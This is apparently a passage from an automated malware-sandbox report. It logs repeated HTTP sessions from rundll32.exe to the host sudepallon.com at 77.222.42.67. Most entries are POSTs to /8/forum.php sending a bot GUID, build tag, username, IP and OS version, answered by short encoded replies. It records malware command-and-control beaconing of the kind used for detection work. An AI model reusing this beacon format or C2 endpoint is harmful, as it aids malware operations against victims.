Jul 9, 2021 03:07:44.823766947 CEST	296	OUT	Data Raw: 27 3e 6b 32 32 27 33 38 6f 6c 27 39 32 6c 3d 3e 3e 3e 3f 32 3b 3d 3b Data Ascii: '>k22'38ol'92l=>>>?2;=;
Jul 9, 2021 03:07:45.358469963 CEST	299	OUT	Data Raw: 00 00 03 a6 00 0a 0a 0a 36 49 30 56 5f 79 6f 78 79 56 4b 66 68 7f 79 56 4b 7a 7a 4e 6b 7e 6b 56 46 65 69 6b 66 56 4d 65 65 6d 66 6f 56 49 62 78 65 67 6f 56 5f 79 6f 78 2a 4e 6b 7e 6b 56 4e 6f 6c 6b 7f 66 7e 0a 0a 0a 0c 0a 0a 0a 01 24 6d 65 65 6d Data Ascii: 6I0V_yoxyVKfhyVKzzNk~kVFeikfVMeemfoVIbxegoV_yox*Nk~kVNolkf~$meemfo$ieg;ZU@KX%UKn8:8:':='89';;$meemfo$iegIMCI%iegzfo~o%yokxibj/Cdr:PRb:F8b:h]}ySRH}hMf`SRXzh8>\|oMb:h]}xoM;yFML}iMrzS8L:
Jul 9, 2021 03:07:45.358572960 CEST	299	OUT	Data Raw: 7e 72 5a 5e 4b 7f 45 59 72 7a 68 5d 4c 64 50 59 33 39 50 5d 40 7d 46 4d 66 7e 53 5d 6e 66 46 38 4c 7d 68 67 69 79 41 63 32 7b 45 39 4f 33 47 49 3e 3e 46 4d 4c 7d 69 4d 72 7a 53 38 4c 3a 6b 5d 33 7f 46 39 44 7a 50 38 3f 66 50 49 3b 66 6f 4d 44 65 Data Ascii: ~rZ^KEYrzh]LdPY39P]@}FMf~S]nfF8L}hgiyAc2{E9O3GI>>FML}iMrzS8L:k]3F9DzP8?fPI;foMDeS]?dP^~8Z]CpE9O3GI>?$meemfo$iegIEDYOD^%us]Z$8239<?}}}$meemfo$iegN\%U8%eUziaNDN9_bOI`LhZz;LAI99Y'9D?ls{dGsA[HHb}[K
Jul 9, 2021 03:07:45.360234976 CEST	299	OUT	Data Raw: 00 00 00 04 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.22	49235	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:09.105807066 CEST	372	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:09.173655033 CEST	373	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 47 54 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJGTQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.22	49236	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:09.458430052 CEST	374	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:09.527733088 CEST	374	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 48 53 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZHSAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.22	49237	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:09.803426027 CEST	375	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:09.871731997 CEST	375	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 42 59 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFBYUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.22	49238	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:10.145229101 CEST	376	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:10.214044094 CEST	376	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 48 53 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVHSEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.22	49239	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:10.490418911 CEST	377	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:10.561532974 CEST	377	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 4a 51 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBJQYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.22	49240	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:10.858552933 CEST	378	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:10.927478075 CEST	378	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 43 58 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZCXAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.22	49241	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:11.208978891 CEST	379	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:11.273643970 CEST	379	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 5a 41 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZZAAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.22	49242	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:11.551534891 CEST	380	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:11.619101048 CEST	381	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 4a 51 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZJQAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.22	49243	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:11.894423962 CEST	381	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:11.960788012 CEST	382	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 4e 4d 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMNMNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.22	49244	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:12.233371019 CEST	383	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:12.298418999 CEST	383	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 54 47 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMTGNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.22	49173	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:44.821758032 CEST	296	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:44.887322903 CEST	297	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 59 42 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGYBTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.22	49245	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:12.584036112 CEST	384	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:12.651797056 CEST	384	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 4d 4e 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFMNUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.22	49246	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:12.933389902 CEST	385	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:12.999862909 CEST	385	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 4a 51 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCJQXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.22	49247	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:13.278381109 CEST	386	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:13.345455885 CEST	386	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 56 45 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJVEQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.22	49248	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:13.642663956 CEST	387	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:13.709795952 CEST	387	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 51 4a 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQQJJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.22	49249	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:13.992625952 CEST	388	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:14.062663078 CEST	388	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 5a 41 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVZAEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.22	49250	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:14.338475943 CEST	389	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:14.405278921 CEST	390	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 51 4a 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMQJNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.22	49251	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
